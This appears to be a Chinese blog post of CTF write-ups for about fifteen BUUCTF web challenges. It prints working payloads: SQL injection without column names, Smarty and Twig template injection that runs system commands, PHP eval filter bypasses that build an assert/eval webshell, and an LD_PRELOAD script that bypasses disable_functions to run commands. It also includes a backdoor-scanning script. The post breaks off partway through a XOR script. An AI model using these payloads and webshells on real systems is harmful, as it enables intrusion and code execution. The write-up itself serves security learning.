BUU-web五

BUU-web五

[强网杯2019]高明的客
知识点:python脚本编写

[De1CTF 2019]SSRF Me
知识点:python代码审计

[RoarCTF 2019]Easy Java
知识点:WEB-INF/web.xml泄露

[SUCTF 2019]Pythonginx
知识点:python代码审计

[ASIS 2019]Unicom shop
知识点:Unicode

[SWPU2019]Webl
知识点:无列名注入

[CISCN 2019 ]Love Math
知识点:函数回转

[BJDCTF2020]The mysteryofip
知识点:xxf头处smarty模板注入payload

[BJDCTF2020]Cookie is so stable
知识点:Twig模板注入

[GWCTF 2019]枯燥的抽奖
知识点:php伪随机数漏洞

[V&N2020公开赛]HappyCTFd
知识点:逻辑漏洞

[极客大挑战2019]RCE ME
知识点:绕过disable_function

[SUCTF 2019]EasyWeb
知识点:exif_imagetype()绕过、open_basedir绕过、异或绕过正则、使用python上传文件

[GYCTF2020]FlaskApp
知识点:模板注入,读取PIN码拿shell

[HITCON 2017]SSRFme
知识点:GET的命令执行漏洞

[强网杯 2019]高明的黑客

1589348343688

将网站源码下载下来,发现有很多PHP文件
1589348680619

通过全局搜索可以发现许多后门,但是很多都不能利用
1589348733665

这里需要写个脚本批量扫描一 _GET 和 _POST,通过传入一些命令看其是否执行,例如echo 123456;
由于要执行命令,所以要将文件部署在本地PHP环境中

普通脚本

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import re
import os
import requests

files = os.listdir('D:/phpstudy_pro/wamp64/www/src/') #获取路径下的所有文件
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])') #设置正则
for i in files: #从第一个文件开始
url = "http://127.0.0.1/src/" + i
f = open("D:/phpstudy_pro/wamp64/www/src/"+i) #打开这个文件
data = f.read() #读取文件内容
f.close() #关闭文件
result = reg.findall(data) #从文件中找到GET请求
for j in result: #从第一个GET参数开始
payload = url + "?" + j + "=echo 123456;" ##尝试请求次路径,并执行命令
print(payload)
html = requests.get(payload)
if "123456" in html.text:
print("成功发现后门:"+payload)
exit(1)

这个跑的十分的慢
1589364526094

多线程

使用多线程写将快得多,这里也学习一下别人的脚本,学习一下多线程顺便提高一下自己的编程能力

脚本涉及的一些函数

  1. time相关

    1.time.asctime()函数
    Python time asctime() 函数接受时间元组并返回一个可读的形式为”Tue Dec 11 18:07:14 2008”(2008年12月11日 周二18时07分14秒)的24个字符的字符串。
    示例:

1
2
3
import time
print(time.asctime())
# Tue Apr 14 22:42:08 2020

2.time.localtime()函数
描述:
Python time localtime() 函数类似gmtime(),作用是格式化时间戳为本地的时间。 如果sec参数未输入,则以当前时间为转换标准。 DST (Daylight Savings Time) flag (-1, 0 or 1) 是否是夏令时。 示例:

1
2
3
import time
print(time.localtime())
# time.struct_time(tm_year=2020, tm_mon=4, tm_mday=14, tm_hour=22, tm_min=37, tm_sec=13, tm_wday=1, tm_yday=105, tm_isdst=0)

3.time.time()函数
描述:
Python time time() 返回当前时间的时间戳(1970纪元后经过的浮点秒数)。 返回当前时间的时间戳(1970纪元后经过的浮点秒数)。

1
2
3
import time
print(time.time())
# 1586875436.7926576
  1. 线程

  2. threading.Thread()函数基本语法

1
mthread = threading.Thread(target=function_name, args=(function_parameter1, function_parameterN))
  1. threading.Semaphore()函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
学习博客:https://blog.csdn.net/a349458532/article/details/51589460
线程的概念:
线程,有时被称为轻量级进程(Lightweight Process,LWP),是程序执行流的最小单元。一个标准的线程由线程ID,当前指令指针(PC),寄存器集合和堆栈组成。另外,线程是进程中的一个实体,是被系统独立调度和分派的基本单位,线程自己不拥有系统资源,只拥有一点儿在运行中必不可少的资源,但它可与同属一个进程的其它线程共享进程所拥有的全部资源。

1. 基本介绍
Semaphore 在内部管理着一个计数器。调用 acquire() 会使这个计数器 -1,release() 则是+1.计数器的值永远不会小于 0,当计数器到 0 时,再调用 acquire() 就会阻塞,直到其他线程来调用release()

2. acquire(blocking=True,timeout=None)
本方法用于获取 Semaphore
当使用默认参数调用本方法时:如果内部计数器的值大于零,将之减一,并返回;如果等于零,则阻塞,并等待其他线程调用 release() 方法以使计数器为正。这个过程有严格的互锁机制控制,以保证如果有多条线程正在等待解锁,release() 调用只会唤醒其中一条线程。唤醒哪一条是随机的。本方法返回 True,或无限阻塞
如果 blocking=False,则不阻塞,但若获取失败的话,返回 False

3. release()
释放 Semaphore,给内部计数器 +1,可以唤醒处于等待状态的线程
脚本中的 threading.Semaphore(100) 是指同时最多有一百个线程运行
  1. os.chdir()
1
2
描述:
os.chdir() 方法用于改变当前工作目录到指定的路径。
  1. os.listdir()
1
os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。

基本思路:

依次打开文件,匹配里面所有的$_GET[]和$_POST,然后通过传入命令echo 123456;在返回的页
面中匹配123456来判断是否执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#首先导入需要的模块
import os
import requests
import re
import threading #设置多线程
import time
print('开始时间:' + time.asctime(time.localtime(time.time())))
#开始时间:Wed May 13 20:32:17 2020
MaxThread = threading.Semaphore(100) #设置最大线程数
FilePath = r"D:\\phpstudy_pro\\wamp64\\www\\src"
os.chdir(FilePath) #改变当前路径到指定路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高导致断开连接
files = os.listdir(FilePath) #返回指定的文件夹包含的文件或文件夹的名字的列表
#print(files) #['A00UTldNShN.php', ......, 'a0flV_jlrc1.php']
session = requests.Session()
session.keep_alive = False #设置连接活跃状态为false
def get_content(file): #设置函数表示来执files当中一个文件
tt = time.time()
MaxThread.acquire() #获取 Semaphore
print('正在打开文件: '+file+' 时间: '+time.asctime(time.localtime(time.time())))
with open(file,encoding='utf-8') as f:
gets = list(re.findall('\$_GET\[\'(.*?)\'\]',f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]',f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo '123456';" #设置好get和post传参
for n in posts:
data[n] = "echo '123456';"
url = "http://127.0.0.1/src/"+file
req = session.post(url,data = data,params = params) #发送所有的get和post请求
req.close() #关闭请求,释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if '123456' in content: #检查是否执行命令,如果执行,筛选出具体参数
flag = 0 #通过flag的值来判断是get还是post
for a in gets:
req = session.get(url+'?'+a+"=echo '123456';")
content = req.text
req.close() #关闭请求,释放内存
if '123456' in content:
flag = 1
break
if flag!=1:
for b in posts:
req = session.post(url = url ,data = {b:"echo '123456';"})
content = req.text
req.close() #关闭请求,释放内存
if '123456' in content:
break
if flag == 1:
param = a
else:
param = b
print('<=================================================================>')
print('发现含有后门的文件:'+file+" 传入的参数为:"+param+"=echo '123456';")
print('程序运行结束,结束时间为:'+time.asctime(time.localtime(time.time())))
print('程序总共耗时:'+time.asctime(time.localtime(time.time()-tt)))
print('<=================================================================>')
exit()
MaxThread.release() #释放 Semaphore

for i in files: #加入多线程
t = threading.Thread(target=get_content,args=(i,))
t.start()

1589377704993

这个脚本思路还是很清晰的,不过多线程还是有点不熟悉,以后遇到要脚本的题还是尽量自己写一遍
参考脚本

最后发现后门/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag得到flag
1589358734581

[De1CTF 2019]SSRF Me

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

1589354082674

代码审计:

这是一个python的flask框架,有三个路由

@app.route(“/geneSign”, methods=[‘GET’, ‘POST’]) #调用getSign方法生成 md5

@app.route(‘/De1ta’,methods=[‘GET’,’POST’]) #获取了三个参数,最后传入Task类中

@app.route(‘/‘) #获取源码

Flask框架-路由

这里De1ta是关键的页面

1
2
3
4
5
6
7
8
9
10
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

在/De1ta页面我们get方法传入param参数值,在cookie里面传递action和sign的值,将传递的param通过waf这个函数。

1
2
3
4
5
6
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

waf函数检查是否以gopher或者file开头,将这两个协议过滤掉,使我们不能通过协议读取文件
当绕过waf后,会将传入的参数作为Task类的对象,并执行Exec,跟进这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

其先经过checksign方法检测是否登陆

1
2
3
4
5
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

当我们传入的参数action和param经过getSign这个函数之后与sign相等,就返回true。之后进入if语句,判断scan是否在action里面,如果在,则将param经过scan函数处理,之后再进一步判断
跟进scan函数

1
2
3
4
5
6
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

这里可以读取param的内容,并且没有任何过滤,如果将param令为flag.txt,则会得到flag。

首先让self.checkSign()返回true即getSign(self.action, self.param) == self.sign条件成立,先看看getsign

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

这里使用了==弱类型比较, 即secert_key + param + action的md5值与传入的sign值相等即可返回true,其中param要为flag.txt,为了保证Exec()函数中scan部分和read部分都能被执行action中又必须包含readscan或者scanread
1589357192899

现在的条件为md5(secert_key+flag.txt+readscan/scanread)==sign
这里我们不知道secert_key,但是/geneSign路由,暴露了getSign函数,我们可以根据路由getSign去得到正确的sign值,这里将action写死为scan,即sign=md5(key + param1 + ‘scan’)

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

1589357431885

cd792970b68162615b4bb7d77225b507

这样一来,等号左边为md5(key + ‘flag.txt’ + ‘readscan’),已被写死,等号右边的未定的参数也可也可确定,即md5(key + ‘flag.txtread’ + ‘scan’)。param1为’flag.txtread’依此传参,可得一个哈希值,这就是我们将传给self.sign的值。

1589358183429

d7fc4bfd85f94f17fb8b988550209c42

接着依次传参即可
1589358383231

参考文章:https://www.jianshu.com/p/eb60c856f2a3

[RoarCTF 2019]Easy Java

这个题留了很久都没做,因为看见java心生恐惧,但是无论遇到什么困难,都不要放弃,微笑着面对它们,消除恐惧的办法就是面对恐惧,加油,奥利给!

打开靶机是一个登陆框,密码可以爆破admin/admin888,但是里面什么都没有
1589361523563

退出去,有一个help按钮,点击得到
1589361571235

尝试文件包含,看wp里面说将GET请求改为POST
分享一个关于源码泄露的网址
里面有讲WEB-INF/web.xml泄露。访问一下

1589361940703

接着读取flag,直接照搬了
这里是从web.xml里面推测出来classes下面的文件,从而进行读取对应的.class文件

1
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

1589362044015

将base64解码后得到flag

1589362074667

[SUCTF 2019]Pythonginx

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

nginx配置
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

首先不能让他为 suctf.cc,但是经过了 urlunsplit 后变成 suctf.cc,很容易就构造出:file:////suctf.cc/usr/local/nginx/conf/nginx.conf,这样就能读取nginx的配置文件了
读出配置文件中有usr/fffffflag
payload:file:////suctf.cc/usr/fffffflag

1589417297060

[ASIS 2019]Unicorn shop

打开靶机是一个商店,需要我们购买Unicorn,但是价钱的地方只能输入一个字符

1589417919436

查看源码,在utf-8旁边有一句提示:

Ah,really important,seriously.

发现就是utf-8的编码转换问题。

这个网站查询thousand
得到许多字符,随便挑,只要比1337大就可以

我选择了这个符号,把0x换成%就可以了
1589418249241

[SWPU2019]Web1

打开靶机是一个登陆框,注册后登陆是一个发布广告的地方,随便输入一些字符,发布后点击查看广告详情发现报错,为二次注入
1589420089124

存在sql注入
过滤了order、by和空格
使用union select查看列数

1
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,21,22'

有22列
1589423476236

查看数据库

1
1'/**/union/**/select/**/1,database(),user(),4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,21,22'

1589423527287

该数据库是马里奥数据库:https://mariadb.com/kb/en/library/mysqlinnodb_table_stats/
滤了information_schema,可以使用**sys.schema_auto_increment_columns**或者mysql.innodb_table_stats代替
其查表名的语句为

1
2
3
1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

1589423780836

但是不知道列名,使用无列名注入

1
2
第二个字段
-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

1589429462137

1
2
第三个字段
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

1589429509486

无列名注入

先创建一个数据库和一个表,并插入一些数据

create database testdb;

user testdb;

create table user(id int(10),user varchar(20),password varchar(30));

insert into user values(1,’admin’,’123456’),(2,’admin2’,’111111’);

1589437665830

正常查询为

1
select * from user;

使用联合查询

1
select 1,2,3 union select * from user;

1589437970774

其中将列名被替换成了对应的数字,所以如果要查询password列的内容,直接用3代替即可

1
select `3` from (select 1,2,3 union select * from user)a;

1589438257604

末尾的 a 可以是任意字符,用于命名。

当然,多数情况下,会被过滤。当 不能使用的时候,使用别名来代替:

1
select b from (select 1,2,3 as b union select * from user)a;

1589438303461

同时查询多个列:

1
select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from user)a limit 1,3;

1589438533575

payload:

1
select a,b from posts where a=-1 union select 1,(select concat(`3`,0x2d,`4`) from (select 1,2,3,4,5,6 union select * from xxx)a limit 1,1);

[CISCN 2019 ]Love Math

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

PHP函数:

scandir() 函数:返回指定目录中的文件和目录的数组。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump() :函数用于输出变量的相关信息。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返 回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该 函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)

首先是通过c进行get传参,不能包含blacklist里面的字符,并且不能有whitelist以外的字符
这里可以通过将函数名转为10进制,再通过白名单内的函数转回函数名,执行相应代码
payload:

1
2
3
4
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag

1589442650477

[BJDCTF2020]The mystery of ip

hint页面查看源码
1589444923161

看见ip想到修改xff头

这里为一个模板注入

1589445294546

smarty模板注入payload

1
2
>X-Forwarded-For: {{system("ls")}}
>X-Forwarded-For: {{system("cat /flag")}}

1589445341991

[BJDCTF2020]Cookie is so stable

hint页面查看源码
1589448078427

着手点在cookie,尝试是否存在模板注入,还是根据上面那张图

1589448279978

存在

1
2
3
4
Twig 
{{7*'7'}} 输出49
Jinja
{{7*'7'}}输出7777777

测试后为Twig模板注入
payload:

1
2
3
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

1589448620761

[GWCTF 2019]枯燥的抽奖

在网页源代码里面发现check.php,访问得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
HzWVFToCAC
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

这个应该是伪随机数问题在MRCTF里面遇到过MRCTF-Ezaudit
参考文章:

php伪随机数漏洞 以及脚本php_mt_seed的使用教程 - 冬泳怪鸽 - 博客园
PHP mt_rand安全杂谈及应用场景详解 - FreeBuf互联网安全新媒体平台

先使用脚本将伪随机数转换成php_mt_seed可以识别的数据:

1
2
3
4
5
6
7
8
9
10
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='HzWVFToCAC'
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
1
43 43 0 61 25 25 0 61 58 58 0 61 57 57 0 61 41 41 0 61 55 55 0 61 14 14 0 61 38 38 0 61 36 36 0 61 38 38 0 61

在使用php_mt_seed去跑
1589511716452

再根据题目中的脚本将其转为字符串即可

1
2
3
4
5
6
7
8
9
10
11
<?php
mt_srand(198604756);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 20);
echo "<p id='p1'>".$str_show."</p>";
?>

这里要在 php7.1+的环境里运行

1589512570530

提交得到flag
1589512914689

[V&N2020 公开赛]HappyCTFd

打开靶机是一个CTFD网站,注册后登陆还发现一个admin用户,flag应该在admin里面

  • 注册一个空格admin用户
  • 登录成功后再登出
  • 在登录页面选择忘记密码
  • 改密链接会发送到注册邮箱中,这里使用buuoj的内部邮箱
  • 在邮箱中修改密码
  • 使用admin用户和更改后的密码进行登录
  • 在Admin Panel =>Challenges页面找到flag

这里使用buu内部邮箱
1589528322044

1589528370798

[极客大挑战 2019]RCE ME

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

这里过滤了所有字母和数字,考虑使用无字母数字rce
先使用取反构造phpinfo查看禁用函数

(~%8F%97%8F%96%91%99%90)();

1589533565181

基本禁完了,先构造一个shell
异或

1
${%87%87%87%87^%d8%c0%c2%d3}[_](${%87%87%87%87^%d8%c0%c2%d3}[__]);&_=assert&__=eval($_POST[%27a%27])

取反

1
${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=assert&__=eval($_POST[%27a%27]) 	//$_GET[_]($_GET[__])

但是使用蚁剑连上后并不能执行命令,所以要绕过绕过disable_function执行readflag文件

参考文章:深入浅出LD_PRELOAD & putenv(),也可以直接使用蚁剑的插件进行绕过,但是我本地的蚁剑插件商店加载 有问题,所以尝试另一种方法

因为权限问题我们在蚁剑上无法上传文件到根目录,但是我们可以上传到/tmp,首先下载bypass_disablefunc_x64.so共享库文件并上传到/tmp目录下面,将其命名为123.so
在上传一个123.php文件,其内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");
error_log("",1,"",""); #当mail函数被禁用的时候可以使用error_log函数

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

1589552461509

之后访问:

1
?code=${%87%87%87%87^%d8%c0%c2%d3}[_](${%87%87%87%87^%d8%c0%c2%d3}[__]);&_=assert&__=var_dump(eval($_GET[a]))&a=include(%27/tmp/123.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/123.so

得到flag
1589552523480

参考文章

[SUCTF 2019]EasyWeb

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^"); #exif_imagetype — 判断一个图像的类型
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3); #返回一个字符串,包含所有在$hhh中使用过的不同字符,该出为不同的字母不能超过12个
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

首先最下面发现一个eval函数,所以先尝试绕过一下正则
先看看有哪些字符可以利用

1
2
3
4
5
6
7
<?php
for($i=0;$i<=256;$i++){

if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) )
echo $i.'----->'.chr($i).'<br>';

}

1589590508788

!,#,$,%,(,),*,+,-,/,:,;,<,>,?,@,,],^,{,},€这是上面脚本chr($i)跑出来的可用字符中的可视字符。在浏览器中这些字符都是敏感字符,如果不加单引号双引号,浏览器就把他们用起来了(浏览器进行解析,而不是php语言)所以我们要使用不可视的字符来进行异或脚本的基础字典
然后构造一个异或脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,]
#a是上面的php脚本出来的数据,通过preg_match的字符
_=[]
G=[]
E=[]
T=[]
for i in a[27:]:#截取a列表27后面的数据,目的是避开可视字符。我们需要不可视字符来异或
for j in a[27:]:
tem=(i^j)
if(chr(tem)=="_"):
_.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:]))
if(chr(tem)=="G"):
G.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:]))
if (chr(tem) == "E"):
temp = []
E.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:]))
